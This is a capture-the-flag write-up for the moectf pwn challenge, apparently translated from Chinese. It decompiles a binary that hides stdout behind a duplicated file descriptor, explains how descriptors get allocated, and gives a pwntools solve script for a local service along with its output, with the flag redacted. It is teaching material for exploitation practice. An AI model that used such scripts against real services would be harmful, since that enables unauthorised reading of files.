The original Chinese article was written by a human and only proofread with generative AI. This English version was translated with AI.
As usual, open the binary in IDA.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char file[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
v3 = dup(1);
write(v3, "I've hidden the fd of stdout. Can you find it?\n", 0x2FuLL);
close(1);
__isoc99_scanf("%d", &fd1);
write(fd1, "You are right.What would you like to see?\n", 0x2AuLL);
__isoc99_scanf("%s%*c", file);
open(file, 0);
write(fd1, "What is its fd?\n", 0x10uLL);
__isoc99_scanf("%d", &fd2);
read(fd2, &buf, 0x50uLL);
write(fd1, &buf, 0x50uLL);
return 0;
}
An fd (file descriptor) is a non-negative integer that a process uses to refer to an open file or another I/O object on Unix and Unix-like systems.1
dup(int oldfd)creates a new file descriptor that shares its file offset with the original descriptor.2By default: 0 stdin 1 stdout 2 stderr
When a new fd is allocated, the lowest available non-negative integer is used.
Notice that:
v3 = dup(1);
// 3 is the lowest available descriptor, so v3 = 3
write(v3, "I've hidden the fd of stdout. Can you find it?\n", 0x2FuLL);
close(1); // release fd 1
// fd 3 now points to stdout
__isoc99_scanf("%d", &fd1);
write(fd1, "You are right.What would you like to see?\n", 0x2AuLL);
__isoc99_scanf("%s%*c", file);
open(file, 0);
write(fd1, "What is its fd?\n", 0x10uLL);
// 1 is now the lowest available descriptor, so fd2 = 1
__isoc99_scanf("%d", &fd2);
read(fd2, &buf, 0x50uLL);
write(fd1, &buf, 0x50uLL);
The script is as follows:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = connect("127.0.0.1", 47287)
io.sendline(b'3')
io.sendline(b'./flag')
io.sendline(b'1')
io.interactive()
Output:
[x] Opening connection to 127.0.0.1 on port 47287
[x] Opening connection to 127.0.0.1 on port 47287: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 47287: Done
[DEBUG] Sent 0x2 bytes:
b'3\n'
[DEBUG] Sent 0x7 bytes:
b'./flag\n'
[DEBUG] Sent 0x2 bytes:
b'1\n'
[*] Switching to interactive mode
[DEBUG] Received 0x2f bytes:
b"I've hidden the fd of stdout. Can you find it?\n"
I've hidden the fd of stdout. Can you find it?
[DEBUG] Received 0x8a bytes:
00000000 59 6f 75 20 61 72 65 20 72 69 67 68 74 2e 57 68 │You │are │righ│t.Wh│
00000010 61 74 20 77 6f 75 6c 64 20 79 6f 75 20 6c 69 6b │at w│ould│ you│ lik│
00000020 65 20 74 6f 20 73 65 65 3f 0a 57 68 61 74 20 69 │e to│ see│?·Wh│at i│
00000030 73 20 69 74 73 20 66 64 3f 0a 6d 6f 65 63 74 66 │s it│s fd│?·mo│ectf│
00000040 7b -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- │{---│----│----│----│
00000050 -- -- -- -- -- -- -- -- -- -- -- -- -- -- 7d 0a │----│----│----│--}·│
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000080 00 00 00 00 00 00 00 00 00 00 │····│····│··│
0000008a
You are right.What would you like to see?
What is its fd?
moectf{THIS_IS_FLAG}
[*] Got EOF while reading in interactive
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 47287